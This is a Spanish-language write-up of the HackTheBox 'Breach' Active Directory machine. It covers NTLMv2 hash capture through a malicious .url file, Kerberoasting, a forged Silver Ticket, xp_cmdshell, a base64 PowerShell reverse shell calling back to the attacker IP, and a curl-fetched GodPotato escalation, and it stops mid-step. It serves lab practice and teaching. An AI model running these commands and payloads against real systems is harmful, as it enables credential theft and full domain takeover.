Skip to main content

Command Palette

Search for a command to run...

HackTheBox - Breach

Updated
13 min readView as Markdown
HackTheBox - Breach

Breach es una máquina Windows centrada en Active Directory. El vector de entrada aprovecha el acceso como guest a un recurso SMB con permisos de escritura para capturar el hash NTLMv2 de un usuario de dominio mediante un archivo .url malicioso. Con esas credenciales se identifica una cuenta de servicio kerberoastable (svc_mssql), cuyo hash se crackea para obtener su contraseña en texto plano. A continuación, se ejecuta un Silver Ticket Attack para suplantar al Administrador y acceder al servidor MSSQL. A través de xp_cmdshell se consigue ejecución remota de comandos en el sistema. Finalmente, el privilegio SeImpersonatePrivilege se abusa con GodPotato para escalar a nt authority\system.

Reconocimiento

Escaneo de puertos

# Nmap 7.99 scan initiated Thu Jun 11 17:52:05 2026 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 10000 -n -Pn -v -oN scan 10.129.14.89
Nmap scan report for 10.129.14.89
Host is up (0.046s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-11 21:52:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-06-11T21:54:01+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-11T21:44:15
| Not valid after:  2056-06-11T21:44:15
| MD5:     21ae 09db 958f 8a89 2007 f9a0 2d7e a3c6
| SHA-1:   e514 1214 a2c0 ea3a ea56 52f8 7745 d411 6131 aa21
|_SHA-256: 0f11 b977 a8b5 c324 276b 844b fe8d 95f5 cedd 65be def1 c12d 051c b3c6 5688 0cec
| ms-sql-ntlm-info: 
|   10.129.14.89:1433: 
|     Target_Name: BREACH
|     NetBIOS_Domain_Name: BREACH
|     NetBIOS_Computer_Name: BREACHDC
|     DNS_Domain_Name: breach.vl
|     DNS_Computer_Name: BREACHDC.breach.vl
|     DNS_Tree_Name: breach.vl
|_    Product_Version: 10.0.20348
| ms-sql-info: 
|   10.129.14.89:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-06-11T21:54:01+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: BREACH
|   NetBIOS_Domain_Name: BREACH
|   NetBIOS_Computer_Name: BREACHDC
|   DNS_Domain_Name: breach.vl
|   DNS_Computer_Name: BREACHDC.breach.vl
|   DNS_Tree_Name: breach.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-06-11T21:53:21+00:00
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-10T21:41:27
| Not valid after:  2026-12-10T21:41:27
| MD5:     7a58 4a0e 5c45 6510 8bb2 1889 3021 a022
| SHA-1:   d1b5 d6a2 9048 4894 b05a 159e f6df a7f2 0925 eaff
|_SHA-256: 9b5d b53b 815e 22b0 912a 134e 65eb 19c4 a87f 3208 f35e 7c40 27ef 66d2 c8f0 141b
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49916/tcp open  msrpc         Microsoft Windows RPC
65259/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-11T21:53:25
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 11 17:54:02 2026 -- 1 IP address (1 host up) scanned in 117.37 seconds

La presencia de MSSQL (puerto 1433), SMB (puerto 445), LDAP (puerto 389) y Kerberos (puerto 88) confirman que se trata de un Domain Controller. Se añade a /etc/hosts:

┌──(root㉿kali)-[/home/noc/htb/breach/nmap]
└─# echo "10.129.14.89 breach.vl BREACHDC.breach.vl" | sudo tee -a /etc/hosts
10.129.14.89 breach.vl BREACHDC.breach.vl

SMB

Se pude acceder como guest y ver que se tienen permisos de lectura y escritura sobre un share que no es de los creados por defecto: "share":

Se pude acceder como guest. Se tienen permisos de lectura y escritura sobre el share que no es de los creados por defecto "share".

┌──(root㉿kali)-[/home/noc/htb/breach/nmap]
└─# smbclient //breach.vl/share    
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun 11 18:01:52 2026
  ..                                DHS        0  Tue Sep  9 06:35:32 2025
  finance                             D        0  Thu Feb 17 06:19:34 2022
  software                            D        0  Thu Feb 17 06:19:12 2022
  transfer                            D        0  Mon Sep  8 06:13:44 2025

                7863807 blocks of size 4096. 1455528 blocks available

finance y software están vacíos. En transfer hay 3 carpetas para 3 usuarios:

smb: \transfer\> ls
  .                                   D        0  Mon Sep  8 06:13:44 2025
  ..                                  D        0  Thu Jun 11 18:01:52 2026
  claire.pope                         D        0  Thu Feb 17 06:21:35 2022
  diana.pope                          D        0  Thu Feb 17 06:21:19 2022
  julia.wong                          D        0  Wed Apr 16 20:38:12 2025

                7863807 blocks of size 4096. 1446487 blocks available

Captura de hash NTLMv2

La idea es la siguiente: Windows procesa automáticamente los iconos de los archivos de una carpeta cuando alguien la navega. Si colocamos un archivo .url con un IconFile apuntando a nuestra IP, el sistema intentará autenticarse contra nosotros para cargar ese icono.

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# cat test.url
[InternetShortcut]
URL=asdasdas
WorkingDirectory=hehe
IconFile=\\10.10.14.190\nc.ico
IconIndex=1

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# smbclient //breach.vl/share
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> cd transfer
smb: \transfer\> put test.url
putting file test.url as \transfer\test.url (0.8 kB/s) (average 0.8 kB/s)

Con Responder escuchando, capturamos el hash NTLMv2 del usuario:

┌──(root㉿kali)-[/home/noc]
└─# responder -I tun0   
(...)
[+] Listening for events...                                                                                                                                                                                                                
[SMB] NTLMv2-SSP Client   : 10.129.14.89
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:9f69db87b5d625af:1D5A3575041CF53BE8073D99FB3948AC:010100000000000000EC2E43CEF9DC01211222DC41C9AA17000000000200080035004D005A00370001001E00570049004E002D004900330045004700560048005A00530042003000500004003400570049004E002D004900330045004700560048005A0053004200300050002E0035004D005A0037002E004C004F00430041004C000300140035004D005A0037002E004C004F00430041004C000500140035004D005A0037002E004C004F00430041004C000700080000EC2E43CEF9DC0106000400020000000800300030000000000000000100000000200000E5A541DC0C7361DB58E8B7D04522973321DAADBD9B1B6FA714475411743640010A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100390030000000000000000000                                                              

Usando hashcat con el modo 5600 se obtiene la contraseña de julia.wong: Computer1.

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# hashcat -m 5600 hash_Julia.wong /usr/share/wordlists/rockyou.txt --show
JULIA.WONG::BREACH:9f69db87b5d625af:1d5a3575041cf53be8073d99fb3948ac:010100000000000000ec2e43cef9dc01211222dc41c9aa17000000000200080035004d005a00370001001e00570049004e002d004900330045004700560048005a00530042003000500004003400570049004e002d004900330045004700560048005a0053004200300050002e0035004d005a0037002e004c004f00430041004c000300140035004d005a0037002e004c004f00430041004c000500140035004d005a0037002e004c004f00430041004c000700080000ec2e43cef9dc0106000400020000000800300030000000000000000100000000200000e5a541dc0c7361db58e8b7d04522973321daadbd9b1b6fa714475411743640010a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100390030000000000000000000:Computer1

Con las credenciales de julia.wong se puede leer el user.txt en su carpeta:

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# smbclient //breach.vl/share -U 'julia.wong%Computer1'        
Try "help" to get a list of possible commands.
smb: \transfer\julia.wong\> ls
  .                                   D        0  Wed Apr 16 20:38:12 2025
  ..                                  D        0  Thu Jun 11 18:22:58 2026
  user.txt                            A       32  Wed Apr 16 20:38:22 2025

                7863807 blocks of size 4096. 1562002 blocks available
smb: \transfer\julia.wong\> get user.txt
getting file \transfer\julia.wong\user.txt of size 32 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# cat user.txt     
55d33e52bc5...        

Movimiento Lateral - Kerberoasting

Se puede enumerar más en profundidad utilizando bloodhound-python:

bloodhound-python -d breach.vl -u 'julia.wong' -p 'Computer1' -dc 'BREACHDC.breach.vl' -c all -ns 10.129.14.89
---
neo4j start
---
bloodhound 

Una vez cargados los datos en Bloodhound CE, se buscan cuentas kerberoastables. Una cuenta es kerberoastable cuando tiene un SPN asignado, lo que significa que está vinculada a algún servicio, y cualquier usuario del dominio puede solicitar su ticket TGS sin necesitar privilegios especiales. Ese ticket viene cifrado con la contraseña de la cuenta, así que si la contraseña es débil se puede crackear offline. Con la siguiente query Cypher:

MATCH (u:User {hasspn:true}) RETURN u

Aparece svc_mssql con el SPN MSSQLSvc/breachdc.breach.vl:1433. También aparece KRBTGT, pero esta no tiene sentido atacarla ya que su contraseña es compleja y el propio DC la rota automáticamente.

El ataque Kerberoasting consiste en solicitar el ticket TGS de esa cuenta. El ticket viene cifrado con el hash de la contraseña y si es débil se puede crackear con hashcat.

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# GetUserSPNs.py 'breach.vl/julia.wong:Computer1' -request

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName              Name       MemberOf  PasswordLastSet             LastLogon                   Delegation 
--------------------------------  ---------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/breachdc.breach.vl:1433  svc_mssql            2022-02-17 05:43:08.106169  2026-06-11 17:44:11.635489             



[-] CCache file is not found. Skipping...
\(krb5tgs\)23\(*svc_mssql\)BREACH.VL\(breach.vl/svc_mssql*\)d3e6569824e506c844e913becdc39764$47c480659460d81bad6f9339582d5f01c6e44d4659607781b16338386b492bcd1f3134411786f088ab005e020c256026887932103f87f23ee7548d7071eeaacb5afe1183dab11509b8f9f38d7e4a4dc8383afcfc26b4b9b162b5898afd2c8ef635221ddde4feaac1aaf14e0b9b97a9aaa888d03ad185842376795fb4e644ca55173f477825c9d46e3e136e31e99303c860f3c1d93bb22f35726654e2e735325133b054e2db1e9cf90166209673c6fee73c0f3af9876d4d7c8a4ffa368d0acb13f6fe313895c0b295fa7c20e049a16fe020cc88bf613e4a27e4d17e3e041f0d2431de89f88c820983f9e5bd391be5038ba86661c6d6f1fd455bcae8f441f021a780f20b7b4060f56b41e4b59c1a25bf85b3bf99d058e10cd74fc587a22a70325e0520d89324c469d2244d0a046a38fcfea08463bbdce0e2564446638d1f93e1034f6c48d394dce816049b34a1fc76d7434019cf18becc7b31627e9ab30722d01d09510780314165dfb60a241bee422b7496515f7d28c98622e6bb944cf3d2128b68dab09e82a5a6491908307c21ad1a94c7100f4136f2e98470f1e7bb9f8fcb4c68846a031183af73205443d2436c57cb932c965e6bb919acb8fc062bf632aaea710355772c8cb69893ae9c96bb0b5f4cbbc4ebe865a2d5e08a17c5c09de53355ee6f21675773b0187d0b40621bd38016b3e545517cb5e9bd01d13de5255e406bc1a8beacd777b2b135d2615dfe3c18fa01048323894ea13ccbba4bcaf6197404a4e0ad30e430cad152bc31371200966aa19a6093da0ddfb1dae7b448f6516bb92f36edc9fa409132e10d4cc8e9805d4b54e349e90aeaca06a155ca22b794e84b676c8b62dd95365c3e41571c074bc0ea3ff28539635580214b658e59f4683a6cffb0cdbda49eae3910cd0d7d4f089487d7f7f56c8117ec388d9106c571f6f865352fa4e3b63344a523d70f38536035ed31ca1ac7e7b1bb4c55db70744972f153721586bf32546961e9d4dae8f59d6b30d72b00e060d3f9c6eb5340fedc0fadf5fc195b4600bbbba0ccb8fe68a7e42c8bf8886c24d66b916361ecc7cd7db1757a27ad32e585ec7e36c95eafa202d013169348358166445768dadcfdccd213634b42906289968aa5e93e3b80d723acc56c6c6713303a21e112456825c55e5088ec19dc91fdf3f036bed92741b840b03e298d4e726255fd27e50996541d4d614eabcfd3a28e02fe36d87378b6af02bfeccdab304f99b600abf89f40c25c32c2ea29bca0a14b2733fab6a3479a6b4c4b210653e8b73987a7de044a92fe87d587600897d4a5bb023ffec8881fe0c8c8165a18714a4f18c19fbeaa6acc6061a6c16fabf474c8f0c3980aedc54b0089f24e8762b18087d8bc6de33ff3530e3342162ac32f0fcb406904a33396a5f1cc5156279232c74be9deed5b3c5213d76348cb408791b7cc9341ac416b9c871d8c3d11abcc14a81722

Con GetUserSPNs.py se obtiene el hash en formato KRB5TGS tipo 23, que corresponde al modo 13100 de hashcat:

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# hashcat -m 13100 hash_scv_mssql /usr/share/wordlists/rockyou.txt 
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-sandybridge-AMD Ryzen 7 8700G w/ Radeon 780M Graphics, 19848/39697 MB (8192 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (36986 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

\(krb5tgs\)23\(*svc_mssql\)BREACH.VL\(breach.vl/svc_mssql*\)d3e6569824e506c844e913becdc39764$47c480659460d81bad6f9339582d5f01c6e44d4659607781b16338386b492bcd1f3134411786f088ab005e020c256026887932103f87f23ee7548d7071eeaacb5afe1183dab11509b8f9f38d7e4a4dc8383afcfc26b4b9b162b5898afd2c8ef635221ddde4feaac1aaf14e0b9b97a9aaa888d03ad185842376795fb4e644ca55173f477825c9d46e3e136e31e99303c860f3c1d93bb22f35726654e2e735325133b054e2db1e9cf90166209673c6fee73c0f3af9876d4d7c8a4ffa368d0acb13f6fe313895c0b295fa7c20e049a16fe020cc88bf613e4a27e4d17e3e041f0d2431de89f88c820983f9e5bd391be5038ba86661c6d6f1fd455bcae8f441f021a780f20b7b4060f56b41e4b59c1a25bf85b3bf99d058e10cd74fc587a22a70325e0520d89324c469d2244d0a046a38fcfea08463bbdce0e2564446638d1f93e1034f6c48d394dce816049b34a1fc76d7434019cf18becc7b31627e9ab30722d01d09510780314165dfb60a241bee422b7496515f7d28c98622e6bb944cf3d2128b68dab09e82a5a6491908307c21ad1a94c7100f4136f2e98470f1e7bb9f8fcb4c68846a031183af73205443d2436c57cb932c965e6bb919acb8fc062bf632aaea710355772c8cb69893ae9c96bb0b5f4cbbc4ebe865a2d5e08a17c5c09de53355ee6f21675773b0187d0b40621bd38016b3e545517cb5e9bd01d13de5255e406bc1a8beacd777b2b135d2615dfe3c18fa01048323894ea13ccbba4bcaf6197404a4e0ad30e430cad152bc31371200966aa19a6093da0ddfb1dae7b448f6516bb92f36edc9fa409132e10d4cc8e9805d4b54e349e90aeaca06a155ca22b794e84b676c8b62dd95365c3e41571c074bc0ea3ff28539635580214b658e59f4683a6cffb0cdbda49eae3910cd0d7d4f089487d7f7f56c8117ec388d9106c571f6f865352fa4e3b63344a523d70f38536035ed31ca1ac7e7b1bb4c55db70744972f153721586bf32546961e9d4dae8f59d6b30d72b00e060d3f9c6eb5340fedc0fadf5fc195b4600bbbba0ccb8fe68a7e42c8bf8886c24d66b916361ecc7cd7db1757a27ad32e585ec7e36c95eafa202d013169348358166445768dadcfdccd213634b42906289968aa5e93e3b80d723acc56c6c6713303a21e112456825c55e5088ec19dc91fdf3f036bed92741b840b03e298d4e726255fd27e50996541d4d614eabcfd3a28e02fe36d87378b6af02bfeccdab304f99b600abf89f40c25c32c2ea29bca0a14b2733fab6a3479a6b4c4b210653e8b73987a7de044a92fe87d587600897d4a5bb023ffec8881fe0c8c8165a18714a4f18c19fbeaa6acc6061a6c16fabf474c8f0c3980aedc54b0089f24e8762b18087d8bc6de33ff3530e3342162ac32f0fcb406904a33396a5f1cc5156279232c74be9deed5b3c5213d76348cb408791b7cc9341ac416b9c871d8c3d11abcc14a81722:Trustno1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: \(krb5tgs\)23\(*svc_mssql\)BREACH.VL$breach.vl/svc_mssq...a81722
Time.Started.....: Thu Jun 11 19:03:08 2026 (0 secs)
Time.Estimated...: Thu Jun 11 19:03:08 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  2768.1 kH/s (1.53ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 55296/14344385 (0.39%)
Rejected.........: 0/55296 (0.00%)
Restore.Point....: 49152/14344385 (0.34%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: truckin -> grad2010
Hardware.Mon.#01.: Util: 19%

Started: Thu Jun 11 19:03:07 2026
Stopped: Thu Jun 11 19:03:10 2026

Silver Ticket Attack

La contraseña de svc_mssql es Trustno1. El SPN asignado a svc_mssql es MSSQLSvc/breachdc.breach.vl:1433, lo que indica que esta cuenta es la que ejecuta el servicio MSSQL en el puerto 1433. Se puede fabricar un Silver Ticket para suplantar a cualquier usuario del dominio (en este caso Administrator) y acceder a ese servicio.

Para construir el ticket se necesita:

  1. El SID del dominio, que se obtiene con lookupsid.py:
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# lookupsid.py breach.vl/julia.wong:Computer1@breach.vl 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at breach.vl
[*] StringBinding ncacn_np:breach.vl[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2330692793-3312915120-706255856
498: BREACH\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: BREACH\Administrator (SidTypeUser)
(...)
  1. El hash NT de la contraseña de svc_mssql, que se genera con pypykatz:
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# pypykatz crypto nt Trustno1                                      
69596c7aa1e8daee17f8e78870e25a5c

Con todo lo necesario, ticketer.py de Impacket genera el Silver Ticket:

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# ticketer.py \
  -spn MSSQLSvc/breachdc.breach.vl:1433 \
  -domain-sid S-1-5-21-2330692793-3312915120-706255856 \
  -nthash 69596c7aa1e8daee17f8e78870e25a5c \
  -dc-ip 10.129.14.89 \
  -domain breach.vl \  
  -user-id 500 \     
  Administrator 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

El ticket se guarda como Administrator.ccache. Al conectarse como Administrator, se puede habilitar xp_cmdshell para ejecutar comandos.

┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# export KRB5CCNAME=Administrator.ccache
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# mssqlclient.py -k -no-pass -windows-auth breachdc.breach.vl
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator  dbo@master)> EXEC sp_configure 'show advanced options', 1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator  dbo@master)> RECONFIGURE;
SQL (BREACH\Administrator  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator  dbo@master)> RECONFIGURE;
SQL (BREACH\Administrator  dbo@master)> EXEC xp_cmdshell 'whoami';
output             
----------------   
breach\svc_mssql   
NULL  

Se genera una reverse shell con el payload "PowerShell #3 (Base64)" de revshells.com, y se lanza desde xp_cmdshell:

SQL (BREACH\Administrator  dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADAAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.14.89] 51008
whoami
breach\svc_mssql
PS C:\Windows\system32>

Escalada de Privilegios

SeImpersonatePrivilege está habilitado. Este privilegio permite a un proceso suplantar la identidad de otro usuario después de que este se autentique contra él. Existen varios exploits como JuicyPotato o GodPotato.

GodPotato abusa de SeImpersonatePrivilege a través de una vulnerabilidad en la forma en que Windows gestiona las activaciones de objetos COM. Cuando un proceso solicita activar un objeto COM que requiere elevación, el sistema operativo lo procesa a través del servicio RPCSS, que corre como SYSTEM. GodPotato manipula este flujo registrando un servidor COM malicioso y forzando a RPCSS a autenticarse contra él mediante una llamada RPC. En el momento en que SYSTEM se autentica, Windows entrega un token de suplantación al proceso que recibe la conexión — y como tenemos SeImpersonatePrivilege, podemos usar ese token para ejecutar código como el usuario nt authority\system.

PS C:\Windows\Temp> curl http://10.10.14.190/GodPotato-NET4.exe -o GodPotato.exe
PS C:\Windows\Temp> .\GodPotato.exe
                                                                                               
    FFFFF                   FFF  FFFFFFF                                                       
   FFFFFFF                  FFF  FFFFFFFF                                                      
  FFF  FFFF                 FFF  FFF   FFF             FFF                  FFF                
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF                
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF                
 FFFF        FFFFFFF   FFFFFFFF  FFF   FFF  FFFFFFF  FFFFFFFFF   FFFFFF  FFFFFFFFF    FFFFFF   
 FFFF       FFFF FFFF  FFF FFFF  FFF  FFFF FFFF FFFF   FFF      FFF  FFF    FFF      FFF FFFF  
 FFFF FFFFF FFF   FFF FFF   FFF  FFFFFFFF  FFF   FFF   FFF      F    FFF    FFF     FFF   FFF  
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF         FFFFF    FFF     FFF   FFFF 
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF      FFFFFFFF    FFF     FFF   FFFF 
  FFF   FFF FFF   FFF FFF   FFF  FFF       FFF   FFF   FFF     FFFF  FFF    FFF     FFF   FFFF 
  FFFF FFFF FFFF  FFF FFFF  FFF  FFF       FFF  FFFF   FFF     FFFF  FFF    FFF     FFFF  FFF  
   FFFFFFFF  FFFFFFF   FFFFFFFF  FFF        FFFFFFF     FFFFFF  FFFFFFFF    FFFFFFF  FFFFFFF   
    FFFFFFF   FFFFF     FFFFFFF  FFF         FFFFF       FFFFF   FFFFFFFF     FFFF     FFFF    


Arguments:

        -cmd Required:True CommandLine (default cmd /c whoami)

Example:

GodPotato -cmd "cmd /c whoami" 
GodPotato -cmd "cmd /c whoami" 

Se sirve el binario desde Kali, se descarga en la máquina y se ejecuta de nuevo una reverse shell:

